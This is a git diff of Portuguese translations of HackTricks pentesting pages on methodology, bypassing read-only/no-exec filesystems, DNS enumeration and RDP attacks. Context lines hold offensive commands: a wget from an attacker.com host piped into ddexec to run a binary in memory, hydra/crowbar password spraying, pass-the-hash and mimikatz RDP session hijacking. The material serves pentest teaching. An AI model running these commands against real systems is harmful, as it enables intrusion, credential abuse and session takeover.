* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -14,7 +14,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
|
@ -41,7 +41,7 @@ Observe que se você estiver realizando um teste externo e conseguir acessar a r
|
|||
### **2-** [**Diversão com a rede**](pentesting-network/) **(Interno)**
|
||||
|
||||
**Esta seção se aplica apenas se você estiver realizando um teste interno.**\
|
||||
Antes de atacar um host, talvez você prefira **roubar algumas credenciais** **da rede** ou **sniffar** alguns **dados** para aprender **passivamente/ativamente (MitM)** o que você pode encontrar dentro da rede. Você pode ler [**Pentesting Network**](pentesting-network/#sniffing).
|
||||
Antes de atacar um host, talvez você prefira **roubar algumas credenciais** **da rede** ou **capturar** alguns **dados** para aprender **passivamente/ativamente (MitM)** o que você pode encontrar dentro da rede. Você pode ler [**Pentesting Network**](pentesting-network/#sniffing).
|
||||
|
||||
### 3- [Varredura de Portas - Descoberta de Serviços](pentesting-network/#scanning-hosts)
|
||||
|
||||
|
@ -60,7 +60,7 @@ Se não houver nenhum exploit interessante para qualquer serviço em execução,
|
|||
**Quero fazer uma menção especial à** [**parte de Pentesting Web**](../network-services-pentesting/pentesting-web/) **(pois é a mais extensa).**\
|
||||
Também, um pequeno guia sobre como [**encontrar vulnerabilidades conhecidas em software**](search-exploits.md) pode ser encontrado aqui.
|
||||
|
||||
**Se o seu serviço não estiver no índice, pesquise no Google** por outros tutoriais e **me avise se quiser que eu adicione.** Se você **não encontrar nada** no Google, realize seu **próprio pentesting às cegas**, você pode começar **conectando-se ao serviço, fuzzando e lendo as respostas** (se houver).
|
||||
**Se o seu serviço não estiver no índice, pesquise no Google** por outros tutoriais e **me avise se quiser que eu adicione.** Se você **não encontrar nada** no Google, realize seu **próprio pentesting às cegas**, você pode começar **conectando-se ao serviço, fuzzing e lendo as respostas** (se houver).
|
||||
|
||||
#### 5.1 Ferramentas Automáticas
|
||||
|
||||
|
@ -68,11 +68,11 @@ Também existem várias ferramentas que podem realizar **avaliações automátic
|
|||
|
||||
#### **5.2 Força Bruta em serviços**
|
||||
|
||||
Em alguns cenários, um **Ataque de Força Bruta** pode ser útil para **comprometer** um **serviço**. [**Encontre aqui uma CheatSheet de diferentes serviços para força bruta**](brute-force.md)**.**
|
||||
Em alguns cenários, um **Ataque de Força Bruta** pode ser útil para **comprometer** um **serviço**. [**Encontre aqui uma lista de diferentes serviços para força bruta**](brute-force.md)**.**
|
||||
|
||||
### 6- [Phishing](phishing-methodology/)
|
||||
|
||||
Se neste ponto você não encontrou nenhuma vulnerabilidade interessante, **talvez precise tentar algum phishing** para entrar na rede. Você pode ler minha metodologia de phishing [aqui](phishing-methodology/):
|
||||
Se até este ponto você não encontrou nenhuma vulnerabilidade interessante, **pode ser necessário tentar algum phishing** para entrar na rede. Você pode ler minha metodologia de phishing [aqui](phishing-methodology/):
|
||||
|
||||
### **7-** [**Obtendo Shell**](shells/)
|
||||
|
||||
|
@ -149,7 +149,7 @@ Confira também a página sobre [**NTLM**](../windows-hardening/ntlm/), pode ser
|
|||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Oracle de Preenchimento**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira em hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Bypassar proteções do sistema de arquivos: somente leitura / sem execução / Distroless
|
||||
# Bypass de proteções do sistema de arquivos: somente leitura / sem execução / Distroless
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,11 +10,11 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) do GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
|
||||
|
||||
|
@ -62,12 +62,12 @@ Se você deseja executar um binário, mas o sistema de arquivos não permite, a
|
|||
|
||||
### Bypass de chamada de sistema FD + exec
|
||||
|
||||
Se você tiver mecanismos de script poderosos dentro da máquina, como **Python**, **Perl** ou **Ruby**, você pode baixar o binário para executar da memória, armazená-lo em um descritor de arquivo de memória (`create_memfd` syscall), que não será protegido por essas proteções e então chamar uma **chamada de sistema `exec`** indicando o **fd como o arquivo a ser executado**.
|
||||
Se você tiver mecanismos de script poderosos dentro da máquina, como **Python**, **Perl** ou **Ruby**, você pode baixar o binário para executar da memória, armazená-lo em um descritor de arquivo de memória (`create_memfd` syscall), que não será protegido por essas proteções e então chamar um **`exec` syscall** indicando o **fd como o arquivo a ser executado**.
|
||||
|
||||
Para isso, você pode facilmente usar o projeto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Você pode passar a ele um binário e ele irá gerar um script na linguagem indicada com o **binário comprimido e codificado em b64** com as instruções para **decodificar e descomprimir** em um **fd** criado chamando a chamada de sistema `create_memfd` e uma chamada para a **chamada de sistema exec** para executá-lo.
|
||||
Para isso, você pode facilmente usar o projeto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Você pode passar a ele um binário e ele irá gerar um script na linguagem indicada com o **binário comprimido e codificado em b64** com as instruções para **decodificar e descomprimir** em um **fd** criado chamando a syscall `create_memfd` e uma chamada à syscall **exec** para executá-lo.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Isso não funciona em outras linguagens de script como PHP ou Node porque eles não têm nenhuma maneira **padrão de chamar chamadas de sistema** brutos de um script, então não é possível chamar `create_memfd` para criar o **fd de memória** para armazenar o binário.
|
||||
Isso não funciona em outras linguagens de script como PHP ou Node porque eles não têm nenhuma maneira **padrão de chamar chamadas de sistema brutas** de um script, então não é possível chamar `create_memfd` para criar o **fd de memória** para armazenar o binário.
|
||||
|
||||
Além disso, criar um **fd regular** com um arquivo em `/dev/shm` não funcionará, pois você não terá permissão para executá-lo porque a **proteção no-exec** será aplicada.
|
||||
{% endhint %}
|
||||
|
@ -89,11 +89,11 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
|
|||
|
||||
[**Memexec**](https://github.com/arget13/memexec) é o próximo passo natural do DDexec. É um **shellcode demonizado do DDexec**, então toda vez que você quiser **executar um binário diferente** não precisa reiniciar o DDexec, você pode simplesmente executar o shellcode memexec via a técnica DDexec e então **comunicar-se com esse daemon para passar novos binários para carregar e executar**.
|
||||
|
||||
Você pode encontrar um exemplo de como usar **memexec para executar binários a partir de um shell reverso PHP** em [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||
Você pode encontrar um exemplo de como usar o **memexec para executar binários a partir de um shell reverso PHP** em [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||
|
||||
### Memdlopen
|
||||
|
||||
Com um propósito semelhante ao DDexec, a técnica [**memdlopen**](https://github.com/arget13/memdlopen) permite uma **maneira mais fácil de carregar binários** na memória para posteriormente executá-los. Isso poderia até permitir carregar binários com dependências.
|
||||
Com um propósito semelhante ao DDexec, a técnica [**memdlopen**](https://github.com/arget13/memdlopen) permite uma **maneira mais fácil de carregar binários** na memória para executá-los posteriormente. Isso poderia até permitir carregar binários com dependências.
|
||||
|
||||
## Bypass do Distroless
|
||||
|
||||
|
@ -108,10 +108,10 @@ O objetivo dos contêineres distroless é **reduzir a superfície de ataque dos
|
|||
Em um contêiner distroless, você pode **nem mesmo encontrar `sh` ou `bash`** para obter um shell regular. Você também não encontrará binários como `ls`, `whoami`, `id`... tudo o que você costuma executar em um sistema.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Portanto, você **não** será capaz de obter um **shell reverso** ou **enumerar** o sistema como costuma fazer.
|
||||
Portanto, você **não** conseguirá obter um **shell reverso** ou **enumerar** o sistema como costuma fazer.
|
||||
{% endhint %}
|
||||
|
||||
No entanto, se o contêiner comprometido estiver executando, por exemplo, um aplicativo web flask, então o Python está instalado e, portanto, você pode obter um **shell reverso em Python**. Se estiver executando node, você pode obter um shell reverso em Node, e o mesmo com a maioria das **linguagens de script**.
|
||||
No entanto, se o contêiner comprometido estiver executando, por exemplo, um aplicativo web flask, então o Python está instalado e, portanto, você pode obter um **shell reverso em Python**. Se estiver executando node, você pode obter um shell reverso em Node, e o mesmo com quase qualquer **linguagem de script**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Usando a linguagem de script, você poderia **enumerar o sistema** usando as capacidades da linguagem.
|
||||
|
@ -125,9 +125,9 @@ No entanto, nesse tipo de contêineres, essas proteções geralmente existirão,
|
|||
|
||||
Você pode encontrar **exemplos** de como **explorar algumas vulnerabilidades de RCE** para obter **shells reversos de linguagens de script** e executar binários da memória em [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
Se você está interessado em uma **carreira em hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -138,9 +138,9 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
|
|||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -10,11 +10,11 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde reconhecimento até relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
|
@ -22,7 +22,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
## **Informações Básicas**
|
||||
|
||||
O **Sistema de Nomes de Domínio (DNS)** serve como o diretório da internet, permitindo que os usuários acessem sites por meio de **nomes de domínio fáceis de lembrar** como google.com ou facebook.com, em vez dos endereços numéricos de Protocolo de Internet (IP). Ao traduzir nomes de domínio em endereços IP, o DNS garante que os navegadores da web possam carregar rapidamente recursos da internet, simplificando como navegamos no mundo online.
|
||||
O **Sistema de Nome de Domínio (DNS)** serve como o diretório da internet, permitindo que os usuários acessem sites por meio de **nomes de domínio fáceis de lembrar** como google.com ou facebook.com, em vez dos endereços numéricos de Protocolo de Internet (IP). Ao traduzir nomes de domínio em endereços IP, o DNS garante que os navegadores da web possam carregar rapidamente recursos da internet, simplificando como navegamos no mundo online.
|
||||
|
||||
**Porta padrão:** 53
|
||||
```
|
||||
|
@ -33,7 +33,7 @@ PORT STATE SERVICE REASON
|
|||
```
|
||||
### Diferentes Servidores DNS
|
||||
|
||||
* **Servidores Raiz DNS**: Estes estão no topo da hierarquia do DNS, gerenciando os domínios de nível superior e entrando em ação apenas se os servidores de nível inferior não responderem. A Corporação da Internet para Atribuição de Nomes e Números (**ICANN**) supervisiona sua operação, com um total global de 13.
|
||||
* **Servidores Raiz DNS**: Estes estão no topo da hierarquia do DNS, gerenciando os domínios de nível superior e entrando em ação apenas se os servidores de nível inferior não responderem. A Corporação da Internet para Atribuição de Nomes e Números (**ICANN**) supervisiona sua operação, com um total global de 13 servidores.
|
||||
* **Servidores Autoritativos**: Estes servidores têm a palavra final para consultas em suas zonas designadas, oferecendo respostas definitivas. Se não puderem fornecer uma resposta, a consulta é escalonada para os servidores raiz.
|
||||
* **Servidores Não Autoritativos**: Sem propriedade sobre zonas DNS, esses servidores coletam informações de domínio por meio de consultas a outros servidores.
|
||||
* **Servidor de DNS em Cache**: Este tipo de servidor memoriza respostas de consultas anteriores por um tempo determinado para acelerar os tempos de resposta para futuras solicitações, com a duração do cache ditada pelo servidor autoritativo.
|
||||
|
@ -44,7 +44,7 @@ PORT STATE SERVICE REASON
|
|||
|
||||
### **Obtenção de Banner**
|
||||
|
||||
Não existem banners no DNS, mas você pode obter a consulta mágica para `version.bind. CHAOS TXT` que funcionará na maioria dos servidores de nomes BIND.\
|
||||
Não existem banners no DNS, mas você pode obter a consulta mágica para `version.bind. CHAOS TXT`, que funcionará na maioria dos servidores BIND.\
|
||||
Você pode realizar esta consulta usando `dig`:
|
||||
```bash
|
||||
dig version.bind CHAOS TXT @DNS
|
||||
|
@ -82,7 +82,7 @@ dig -x 2a00:1450:400c:c06::93 @<DNS_IP> #reverse IPv6 lookup
|
|||
|
||||
#Use [-p PORT] or -6 (to use ivp6 address of dns)
|
||||
```
|
||||
#### Automatização
|
||||
#### Automação
|
||||
```bash
|
||||
for sub in $(cat <WORDLIST>);do dig $sub.<DOMAIN> @<DNS_IP> | grep -v ';\|SOA' | sed -r '/^\s*$/d' | grep $sub | tee -a subdomains.txt;done
|
||||
|
||||
|
@ -112,7 +112,7 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
|||
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Se você conseguir encontrar subdomínios que resolvem para endereços IP internos, você deve tentar realizar um reverse dns BF para os NSs do domínio pedindo por essa faixa de IP.
|
||||
Se você conseguir encontrar subdomínios que resolvem para endereços IP internos, você deve tentar realizar um reverse dns BF para os NSs do domínio solicitando essa faixa de IP.
|
||||
{% endhint %}
|
||||
|
||||
Outra ferramenta para fazer isso: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
|
||||
|
@ -148,14 +148,14 @@ Forçar a entrada usando solicitações "AAAA" para reunir os endereços IPv6 do
|
|||
```bash
|
||||
dnsdict6 -s -t <domain>
|
||||
```
|
||||
Realizar força bruta na resolução reversa de DNS usando endereços IPv6
|
||||
Realizar força bruta no DNS reverso usando endereços IPv6
|
||||
```bash
|
||||
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
|
||||
```
|
||||
### DNS Recursion DDoS
|
||||
|
||||
Se o **DNS recursion estiver habilitado**, um atacante poderia **falsificar** a **origem** no pacote UDP para fazer com que o **DNS envie a resposta para o servidor da vítima**. Um atacante poderia abusar dos tipos de registros **ANY** ou **DNSSEC** pois eles costumam ter respostas maiores.\
|
||||
A maneira de **verificar** se um DNS suporta **recursão** é consultar um nome de domínio e **verificar** se a **flag "ra"** (_recursão disponível_) está na resposta:
|
||||
A maneira de **verificar** se um DNS suporta **recursão** é consultar um nome de domínio e **verificar** se a **flag "ra"** (_recursion available_) está na resposta:
|
||||
```bash
|
||||
dig google.com A @<IP>
|
||||
```
|
||||
|
@ -167,7 +167,7 @@ dig google.com A @<IP>
|
|||
|
||||
![](<../.gitbook/assets/image (146).png>)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconhecimento até a geração de relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
|
@ -217,12 +217,12 @@ host.conf
|
|||
```
|
||||
Configurações perigosas ao configurar um servidor Bind:
|
||||
|
||||
| **Opção** | **Descrição** |
|
||||
| ----------------- | ------------------------------------------------------------------------------ |
|
||||
| `allow-query` | Define quais hosts têm permissão para enviar solicitações ao servidor DNS. |
|
||||
| `allow-recursion` | Define quais hosts têm permissão para enviar solicitações recursivas ao servidor DNS. |
|
||||
| `allow-transfer` | Define quais hosts têm permissão para receber transferências de zona do servidor DNS. |
|
||||
| `zone-statistics` | Coleta dados estatísticos das zonas. |
|
||||
| **Opção** | **Descrição** |
|
||||
| ----------------- | ----------------------------------------------------------------------------- |
|
||||
| `allow-query` | Define quais hosts podem enviar solicitações para o servidor DNS. |
|
||||
| `allow-recursion` | Define quais hosts podem enviar solicitações recursivas para o servidor DNS. |
|
||||
| `allow-transfer` | Define quais hosts podem receber transferências de zona do servidor DNS. |
|
||||
| `zone-statistics` | Coleta dados estatísticos das zonas. |
|
||||
|
||||
## Referências
|
||||
|
||||
|
@ -282,7 +282,7 @@ Description: DNS enumeration without the need to run msfconsole
|
|||
Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit'
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
|
@ -298,6 +298,6 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -14,7 +14,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde reconhecimento até relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
|
@ -41,35 +41,35 @@ nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 338
|
|||
|
||||
Verifica a criptografia disponível e a vulnerabilidade de DoS (sem causar DoS ao serviço) e obtém informações do Windows NTLM (versões).
|
||||
|
||||
### [Brute force](../generic-methodologies-and-resources/brute-force.md#rdp)
|
||||
### [Força bruta](../generic-methodologies-and-resources/brute-force.md#rdp)
|
||||
|
||||
**Tenha cuidado, você pode bloquear contas**
|
||||
**Cuidado, você pode bloquear contas**
|
||||
|
||||
### **Password Spraying**
|
||||
### **Spraying de Senha**
|
||||
|
||||
**Tenha cuidado, você pode bloquear contas**
|
||||
**Cuidado, você pode bloquear contas**
|
||||
```bash
|
||||
# https://github.com/galkan/crowbar
|
||||
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
|
||||
# hydra
|
||||
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
|
||||
```
|
||||
### Conectar com credenciais/hash conhecidas
|
||||
### Conectar com credenciais/hash conhecidos
|
||||
```bash
|
||||
rdesktop -u <username> <IP>
|
||||
rdesktop -d <domain> -u <username> -p <password> <IP>
|
||||
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
|
||||
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
|
||||
```
|
||||
### Verificar credenciais conhecidas em serviços RDP
|
||||
### Verificar credenciais conhecidas contra serviços RDP
|
||||
|
||||
O rdp\_check.py do Impacket permite que você verifique se algumas credenciais são válidas para um serviço RDP:
|
||||
```bash
|
||||
rdp_check <domain>/<name>:<password>@<IP>
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconhecimento até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -91,7 +91,7 @@ Agora você estará dentro da sessão RDP selecionada e terá que se passar por
|
|||
|
||||
**Importante**: Quando você acessa uma sessão RDP ativa, você encerrará a sessão do usuário que a estava utilizando.
|
||||
|
||||
Você poderia obter senhas do processo fazendo dump delas, mas este método é muito mais rápido e permite que você interaja com as áreas de trabalho virtuais do usuário (senhas em notepad sem serem salvas no disco, outras sessões RDP abertas em outras máquinas...)
|
||||
Você poderia obter senhas do processo fazendo dump delas, mas este método é muito mais rápido e permite que você interaja com as áreas de trabalho virtuais do usuário (senhas no bloco de notas sem serem salvas no disco, outras sessões RDP abertas em outras máquinas...)
|
||||
|
||||
#### **Mimikatz**
|
||||
|
||||
|
@ -104,7 +104,7 @@ ts::remote /id:2 #Connect to the session
|
|||
|
||||
Combinando esta técnica com **stickykeys** ou **utilman você será capaz de acessar um CMD administrativo e qualquer sessão RDP a qualquer momento**
|
||||
|
||||
Você pode procurar RDPs que já foram comprometidos com uma dessas técnicas com: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||||
Você pode procurar RDPs que já foram comprometidos com uma dessas técnicas usando: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||||
|
||||
### Injeção de Processo RDP
|
||||
|
||||
|
@ -148,7 +148,7 @@ Name: Nmap
|
|||
Description: Nmap with RDP Scripts
|
||||
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
|
@ -160,7 +160,7 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
